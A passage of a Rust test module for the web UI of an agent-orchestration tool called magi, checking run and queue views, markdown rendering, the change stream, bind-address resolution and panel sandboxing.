13105 assert!(note.contains("Land round ${round}"));
13106 let land = body("function renderLand");
13107 let note_at = land
13108 .find("landRoundNote(pr)")
13109 .expect("renderLand uses the note");
13110 assert!(
13111 note_at
13112 < land
13113 .find("roundRail(pr)")
13114 .expect("renderLand uses the rail")
13115 );
13116 }
13117
13118 #[test]
13119 fn the_runs_page_redesign_keeps_its_guards() {
13120 let body = |name: &str| {
13121 let at = APP_JS
13122 .find(name)
13123 .unwrap_or_else(|| panic!("{name} missing"));
13124 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13125 };
13126 let land = body("function renderLand");
13128 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13129 assert!(
13130 !land.contains("box.append("),
13131 "renderLand must use append()"
13132 );
13133 assert!(land.contains("append(box, ["));
13134 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13136 assert!(
13137 body("function applyRoute")
13138 .contains("route.name !== state.route.name || route.id !== state.route.id")
13139 );
13140 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13142 assert!(!INDEX_HTML.contains("advise-converge"));
13143 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13144 assert!(APP_JS.contains("provisional"));
13145 for id in [
13146 "run-tab-overview",
13147 "run-tab-timeline",
13148 "run-tab-report",
13149 "run-report",
13150 "runs-scope",
13151 ] {
13152 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13153 }
13154 assert!(!INDEX_HTML.contains("runs-tree"));
13155 assert!(!INDEX_HTML.contains("run-raw-panel"));
13156 assert!(APP_JS.contains("resume"));
13158 assert!(APP_JS.contains("unreadable"));
13160 }
13161
13162 #[test]
13163 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13164 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13165 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13166 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13167 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13168 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13169 assert!(APP_JS.contains("unreadable` : null"));
13171 }
13172
13173 #[test]
13174 fn the_run_detail_payload_says_whether_the_run_is_done() {
13175 for (status, done) in [
13177 (RunStatus::Superseded, true),
13178 (RunStatus::Blocked, true),
13179 (RunStatus::Landing, false),
13180 ] {
13181 let mut state = RunState::new(
13182 std::path::PathBuf::from("/repo"),
13183 "main".to_owned(),
13184 "abc".to_owned(),
13185 "x".to_owned(),
13186 crate::config::Config::default(),
13187 );
13188 state.status = status;
13189 let v = serde_json::to_value(RunDetailView::of(
13190 state,
13191 crate::run::Liveness::Unknown,
13192 None,
13193 None,
13194 None,
13195 ))
13196 .unwrap();
13197 assert_eq!(v["done"], done, "{status:?}");
13198 }
13199 }
13200
13201 fn has_strong(nodes: &[md::Node]) -> bool {
13203 serde_json::to_string(nodes).unwrap().contains("strong")
13204 }
13205
13206 #[test]
13207 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13208 let mut state = RunState::new(
13209 std::path::PathBuf::from("/repo"),
13210 "main".to_owned(),
13211 "abc".to_owned(),
13212 "x".to_owned(),
13213 crate::config::Config::default(),
13214 );
13215 let proposal = |approach: &str| {
13216 serde_json::json!({
13217 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13218 })
13219 };
13220 state.advice = Some(
13221 serde_json::from_value(serde_json::json!({
13222 "records": [
13223 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13224 "proposal": proposal("do **this**")},
13225 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13226 ],
13227 "synthesis": "- one\n- **two**\n\n`code`",
13228 }))
13229 .unwrap(),
13230 );
13231 state.candidates = serde_json::from_value(serde_json::json!([
13232 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13233 "summary": "did **it**"},
13234 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13235 ]))
13236 .unwrap();
13237 state.reviews = serde_json::from_value(serde_json::json!([{
13240 "round": 1, "head": "h",
13241 "reviews": [{
13242 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13243 "findings": [
13244 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13245 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13246 ],
13247 }],
13248 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13249 "fix": {"agent": "a", "notes": "fixed **it**",
13250 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13251 }, {"round": 2, "head": "h2", "reviews": []}]))
13252 .unwrap();
13253
13254 let v = serde_json::to_value(RunDetailView::of(
13255 state,
13256 crate::run::Liveness::Unknown,
13257 None,
13258 None,
13259 None,
13260 ))
13261 .unwrap();
13262
13263 let strong = |p: &str| {
13264 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13265 assert!(n.to_string().contains("strong"), "{p}: {n}");
13266 };
13267 strong("/advice_md/synthesis");
13268 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13269 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13270 strong("/advice_md/approaches/0");
13271 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13272 strong("/candidate_summaries_md/0");
13273 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13274 strong("/reviews_md/0/reviewers/0/summary");
13275 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13276 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13277 assert!(f[1].to_string().contains("strong"));
13278 strong("/reviews_md/0/reconsideration/0");
13279 strong("/reviews_md/0/fix/notes");
13280 strong("/reviews_md/0/fix/rejected/0");
13281 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13282 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13283 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13285 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13286 }
13287
13288 #[test]
13289 fn a_run_without_advice_has_no_advice_md() {
13290 let state = RunState::new(
13291 std::path::PathBuf::from("/repo"),
13292 "main".to_owned(),
13293 "abc".to_owned(),
13294 "x".to_owned(),
13295 crate::config::Config::default(),
13296 );
13297 let p = run_prose_md(&state);
13298 assert!(p.advice_md.is_none());
13299 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13300 }
13301
13302 #[test]
13303 fn a_question_view_carries_markdown_for_each_thread_turn() {
13304 let home = TempDir::new().unwrap();
13305 let store = ask::Questions::at(home.path().join("questions"));
13306 let mut q = Question::new(
13307 "run".to_owned(),
13308 "implement".to_owned(),
13309 "impl-A".to_owned(),
13310 "which?".to_owned(),
13311 String::new(),
13312 Vec::new(),
13313 );
13314 q.say("plain words").unwrap();
13315 q.reply("use **this**", Vec::new()).unwrap();
13316 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13317 let bodies = &v["thread_bodies_md"];
13318 assert_eq!(bodies.as_array().unwrap().len(), 2);
13319 assert!(!bodies[0].to_string().contains("strong"));
13320 assert!(bodies[1].to_string().contains("strong"));
13321 }
13322
13323 #[test]
13324 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13325 let home = TempDir::new().unwrap();
13326 let store = ask::Questions::at(home.path().join("questions"));
13327 let mut q = Question::new(
13328 "run".to_owned(),
13329 "conduct".to_owned(),
13330 "conduct".to_owned(),
13331 "which?".to_owned(),
13332 String::new(),
13333 Vec::new(),
13334 );
13335 q.say("plain words").unwrap();
13336 q.thread.push(ask::Turn {
13337 who: ask::Who::Agent,
13338 body: "Settled as `merge`".to_owned(),
13339 at: jiff::Timestamp::now(),
13340 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13341 });
13342 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13343 let notes = &v["thread_notes_md"];
13344 assert_eq!(notes.as_array().unwrap().len(), 2);
13345 assert!(notes[0].is_null());
13346 let text = notes[1].to_string();
13347 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13348 assert!(APP_JS.contains("ask-turn-note"));
13349 }
13350
13351 #[test]
13352 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13353 assert!(APP_JS.contains("function landView(run, raw) {"));
13357 assert!(
13358 APP_JS.contains(
13359 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13360 )
13361 );
13362 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13363 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13364 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13365 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13366 }
13367
13368 #[test]
13369 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13370 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13371 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13372 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13373 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13374 }
13375
13376 #[test]
13377 fn review_rounds_label_a_distinct_verified_head() {
13378 assert!(APP_JS.contains("round.verified_head"));
13379 assert!(APP_JS.contains("verified HEAD"));
13380 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13381 }
13382
13383 #[test]
13384 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13385 assert!(APP_JS.contains("blocked: { glyph:"));
13389 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13390
13391 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13395 assert!(
13396 APP_JS.contains(
13397 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13398 ),
13399 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13400 );
13401 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13405
13406 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13410 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13411 assert!(
13412 APP_JS.contains("location.hash = \"#/questions\";"),
13413 "a question node must jump to the Questions screen, not pretend to be a task"
13414 );
13415
13416 assert!(APP_JS.contains("Resolved questions"));
13419 assert!(APP_JS.contains("r.answersList.append("));
13420 assert!(APP_CSS.contains(".task-answers"));
13421 {
13422 let start = APP_JS
13423 .find("function updateTalkTaskRow")
13424 .expect("updateTalkTaskRow");
13425 let body = &APP_JS[start..];
13426 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13427 assert!(
13428 body.contains(
13429 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13430 ),
13431 "a chat-filed task row must link to the task page"
13432 );
13433 assert!(
13434 !body.contains("#/runs/") && !body.contains("#/queue/"),
13435 "the row must not branch to a run or the queue card"
13436 );
13437 assert!(APP_CSS.contains(".talk-task-link"));
13438 }
13439 }
13440
13441 #[test]
13442 fn a_task_notification_links_to_the_task_page() {
13443 let start = APP_JS
13445 .find("function noticeLink(")
13446 .expect("noticeLink exists");
13447 let body = &APP_JS[start..];
13448 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13449 assert!(
13450 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13451 "a task notice's link must target the task page"
13452 );
13453 assert!(
13454 !body.contains("#/queue/"),
13455 "regression: the task link must not go back to the Backlog route"
13456 );
13457 assert!(
13458 APP_JS.contains(
13459 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13460 ),
13461 "`#/tasks/<id>` must parse into the task route"
13462 );
13463
13464 assert!(
13466 APP_JS.contains(
13467 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13468 ),
13469 "`#/queue/<id>` must parse into a route carrying that id"
13470 );
13471
13472 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13476 assert!(APP_JS.contains("function consumeQueueFocus()"));
13477 assert!(APP_JS.contains("jumpToTask(id)"));
13478 }
13479
13480 #[test]
13483 fn chat_rows_put_the_title_alone_on_the_first_line() {
13484 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13485 assert!(APP_CSS.contains(
13486 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13487 ));
13488 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13489 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13490 }
13491
13492 #[test]
13493 fn run_rows_put_the_title_alone_on_the_first_line() {
13494 assert!(
13495 APP_CSS.contains(
13496 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13497 )
13498 );
13499 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13500 assert!(APP_JS.contains("class: \"card run-card\""));
13501 assert!(APP_JS.contains("class: \"repo run-id\""));
13502 }
13503
13504 #[test]
13508 fn wide_screens_show_list_and_preview_side_by_side() {
13509 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13511 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13512 assert!(APP_CSS.contains("main[data-split]"));
13513 assert!(APP_CSS.contains("body[data-split]"));
13514
13515 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13517 assert!(
13518 APP_JS.contains(
13519 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13520 )
13521 );
13522 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13523 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13524 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13525
13526 assert!(APP_JS.contains("function markSelected() {"));
13528 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13529 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13530 assert!(
13532 APP_CSS.contains(
13533 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13534 )
13535 );
13536
13537 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13539 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13540 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13541 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13542
13543 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13547 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13548 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13549 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13550
13551 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13553 }
13554
13555 #[test]
13556 fn panel_sandbox_carries_exactly_popups() {
13557 let needle = "sandbox: \"";
13558 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13559 assert_eq!(
13560 matches.len(),
13561 1,
13562 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13563 );
13564 let start = matches[0].0 + needle.len();
13565 let end = APP_JS[start..]
13566 .find('"')
13567 .expect("sandbox attribute value must be terminated by a closing quote");
13568 let val = &APP_JS[start..start + end];
13569 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13570 let expected: std::collections::BTreeSet<&str> =
13571 ["allow-popups", "allow-popups-to-escape-sandbox"]
13572 .into_iter()
13573 .collect();
13574 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13575 assert!(
13576 !tokens.contains("allow-scripts"),
13577 "allow-scripts must never be present in sandbox"
13578 );
13579 assert!(
13580 !tokens.contains("allow-same-origin"),
13581 "allow-same-origin must never be present in sandbox"
13582 );
13583 }
13584
13585 #[test]
13586 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13587 assert!(
13596 APP_JS.contains(
13597 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13598 ),
13599 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13600 recursive renderQueue() call has nothing left to jump to"
13601 );
13602 assert!(
13603 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13604 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13605 arrives later still gets it"
13606 );
13607 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13608 assert!(APP_JS.contains("is not in the current Backlog."));
13609 assert!(APP_JS.contains("li.card[data-task-id=\""));
13610 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13611 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13612 assert!(APP_CSS.contains(".card-permalink"));
13613 assert!(APP_CSS.contains(".queue-focus-status"));
13614 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13615 }
13616
13617 #[test]
13618 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13619 assert!(
13627 APP_JS.contains(
13628 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13629 ),
13630 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13631 );
13632 }
13633
13634 #[test]
13635 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13636 assert!(
13637 APP_JS.contains("round.verified_head !== round.head"),
13638 "a round that verified an earlier commit must be visibly distinct from one that \
13639 verified the head reviewers are looking at now"
13640 );
13641 assert!(
13642 APP_JS.contains("round.verified_at"),
13643 "when a check ran must be on the wire, not just which commit"
13644 );
13645 assert!(
13646 APP_JS.contains("resource_blocked"),
13647 "a command magi never got to run (shared build cache contention) must not render \
13648 the same as a command that ran and failed"
13649 );
13650 }
13651
13652 #[test]
13653 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13654 assert!(
13662 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13663 "every KPI tile built through statusTile() must route its click through \
13664 openRunsFiltered, the single place that sets the Runs filter"
13665 );
13666 for (label, status) in [
13667 ("Merged", "merged"),
13668 ("Ready", "ready"),
13669 ("Blocked", "blocked"),
13670 ("Stalled", "stalled"),
13671 ] {
13672 let call = format!("statusTile(\"{label}\", t.{status}, ");
13673 assert!(
13674 APP_JS.contains(&call),
13675 "expected the {label} KPI tile built via {call}..."
13676 );
13677 assert!(
13678 APP_JS.contains(&format!("status === \"{status}\"")),
13679 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13680 compare a run against, not one invented only for the stats tile"
13681 );
13682 }
13683 assert!(
13684 APP_JS.contains("function openRunsFiltered(status)"),
13685 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13686 );
13687 assert!(
13688 APP_JS.contains(
13689 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13690 ),
13691 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13692 );
13693 assert!(
13701 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13702 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13703 hashchange event that may never fire"
13704 );
13705 }
13706
13707 #[test]
13708 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13709 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13715 assert!(
13716 APP_JS.contains(
13717 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13718 ),
13719 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13720 guard for an incompatible tree section"
13721 );
13722 }
13723
13724 #[test]
13725 fn every_stats_queue_tile_names_a_real_queue_section() {
13726 assert!(
13732 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13733 "every queue tile built through sectionTile() must route its click through \
13734 openQueueSectionFocus"
13735 );
13736 for key in ["upnext", "running", "done", "held", "blocked"] {
13737 assert!(
13738 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13739 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13740 );
13741 }
13742 for line in [
13746 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13747 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13748 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13749 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13750 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13751 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13752 ] {
13753 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13754 }
13755 }
13756
13757 #[test]
13758 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13759 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13766 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13767 assert!(APP_JS.contains("function revealQueueSection(details)"));
13768 assert!(
13769 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13770 "renderQueue() must consume both focus channels on every pass"
13771 );
13772 assert!(
13773 APP_JS.contains(
13774 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13775 ),
13776 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13777 the recursive renderQueue() call has nothing left to reveal"
13778 );
13779 assert!(
13780 APP_JS.contains(
13781 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13782 ),
13783 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13784 );
13785 assert!(
13793 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13794 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13795 hashchange event that may never fire"
13796 );
13797 }
13798
13799 #[tokio::test]
13800 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13801 let f = Fixture::start().await;
13802
13803 let mut socket = tokio::net::TcpStream::connect(f.addr)
13804 .await
13805 .expect("connect");
13806 socket
13807 .write_all(
13808 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13809 )
13810 .await
13811 .expect("write request");
13812
13813 let mut seen = String::new();
13816 let mut buf = [0u8; 1024];
13817 while !seen.contains("event: change") {
13818 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13819 .await
13820 .expect("the stream must speak within five seconds")
13821 .expect("read");
13822 assert!(read > 0, "the server closed the change stream: {seen}");
13823 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13824 }
13825
13826 assert!(
13827 seen.to_lowercase()
13828 .contains("content-type: text/event-stream"),
13829 "the browser only reconnects automatically for a real SSE stream: {seen}"
13830 );
13831 let data = seen
13832 .lines()
13833 .find_map(|l| l.strip_prefix("data:"))
13834 .expect("a data line");
13835 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13836 assert!(
13837 payload["queue_rev"].is_u64()
13838 && payload["runs_rev"].is_u64()
13839 && payload["questions_rev"].is_u64()
13840 && payload["talks_rev"].is_u64()
13841 && payload["notifications_rev"].is_u64()
13842 && payload["loop_rev"].is_u64(),
13843 "the client needs one revision per store to know what to refetch, \
13844 and `talks_rev` is the only notification a standing talk gets - a \
13845 phone whose radio slept through a turn learns about it here, as \
13846 does one whose operator started the loop from another device: \
13847 {payload}"
13848 );
13849
13850 let health = f.get("/api/health").await.json();
13857 for key in [
13858 "queue_rev",
13859 "runs_rev",
13860 "questions_rev",
13861 "talks_rev",
13862 "notifications_rev",
13863 "loop_rev",
13864 ] {
13865 assert!(
13866 health[key].is_u64(),
13867 "health is the change stream's fallback and is missing `{key}`: {health}"
13868 );
13869 }
13870 }
13871
13872 #[tokio::test]
13873 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13874 let f = Fixture::start().await;
13875 let before = f.get("/api/health").await.json()["talks_rev"]
13876 .as_u64()
13877 .expect("talks_rev");
13878
13879 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13880 std::thread::sleep(Duration::from_millis(10));
13881 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13882 on_disk.turns.push(crate::talk::Turn {
13883 breaks: Some(Vec::new()),
13884 posted_by: None,
13885 who: crate::talk::Who::Operator,
13886 body: "a new turn".to_owned(),
13887 at: Timestamp::now(),
13888 attachments: Vec::new(),
13889 usage: None,
13890 });
13891 f.talks().put(&mut on_disk).expect("record a turn");
13892
13893 let after = f.get("/api/health").await.json()["talks_rev"]
13894 .as_u64()
13895 .expect("talks_rev");
13896 assert_ne!(
13897 before, after,
13898 "a phone must be able to notice a talk's reply without polling every store"
13899 );
13900 }
13901
13902 #[test]
13903 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13904 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13908 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13909 }
13910 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13911 assert!("everywhere".parse::<Bind>().is_err());
13912 }
13913
13914 #[test]
13915 fn an_explicit_bind_address_is_taken_verbatim() {
13916 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13917
13918 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13919
13920 assert_eq!(addr, asked);
13921 assert!(
13922 warning.is_none(),
13923 "an operator who named an address gets no lecture"
13924 );
13925 }
13926
13927 #[test]
13928 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13929 let (addr, warning) = resolve_bind(&Bind::Auto);
13930
13931 match addr {
13938 IpAddr::V4(ip) if is_tailnet(&ip) => {
13939 assert!(warning.is_none(), "a tailnet address needs no warning");
13940 }
13941 other => {
13942 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13943 let warning = warning.expect("a fallback has to explain itself");
13944 assert!(
13945 warning.contains("127.0.0.1") && warning.contains("local-only"),
13946 "the warning says what happened and what it costs: {warning}"
13947 );
13948 }
13949 }
13950 }
13951
13952 #[test]
13953 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13954 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13958 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13959 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13960 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13961 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13962 }
13963
13964 #[test]
13965 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13966 let ids = vec![
13967 "20260902-140501-aaaa".to_owned(),
13968 "20260902-140502-aabb".to_owned(),
13969 ];
13970
13971 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13972 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13973 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13974
13975 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13976 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13977 assert_eq!(short, "20260902-140502-aabb");
13978 }
13979 #[tokio::test]
13980 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13981 let fx = Fixture::start().await;
13987 let id = panel(
13988 &fx,
13989 "<img src=\"shot.png\">",
13990 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13991 );
13992
13993 let doc = fx
13995 .get(&format!("/api/questions/{id}/panel/index.html"))
13996 .await;
13997 assert_eq!(doc.status, 200, "{}", doc.body);
13998 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13999
14000 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14001 assert_eq!(sibling.status, 200, "{}", sibling.body);
14002 assert_eq!(sibling.header("content-type"), Some("image/png"));
14003 assert_eq!(
14004 sibling.header("content-security-policy"),
14005 Some(PANEL_CSP),
14006 "the sibling route must carry the same policy as the asset route"
14007 );
14008
14009 assert_eq!(
14012 fx.head(&format!("/api/questions/{id}/panel")).await.status,
14013 200
14014 );
14015 }
14016
14017 #[test]
14018 fn delta_stamps_cover_add_update_remove_and_noop() {
14019 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14020 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14021 let delta = diff_stamps(&before, &after, 42);
14022 assert_eq!(delta.base, 42);
14023 assert_eq!(delta.changed, ["b", "c"]);
14024 assert_eq!(delta.removed, ["a"]);
14025 let same = diff_stamps(&after, &after, 43);
14026 assert!(same.changed.is_empty() && same.removed.is_empty());
14027 assert_ne!(stamps_revision(&before), stamps_revision(&after));
14028 let nanos: Stamps = [("b".into(), (2, 20))].into();
14029 let same_ms: Stamps = [("b".into(), (3, 20))].into();
14030 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14031 assert_eq!(stamps_revision(&Stamps::new()), 0);
14032 }
14033
14034 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14035 std::fs::create_dir_all(home.join("runs")).unwrap();
14036 Arc::new(Ui::new(
14037 Queue::at(home.join("queue")),
14038 Questions::at(home.join("questions")),
14039 Talks::at(home.join("talks")),
14040 home.join("runs"),
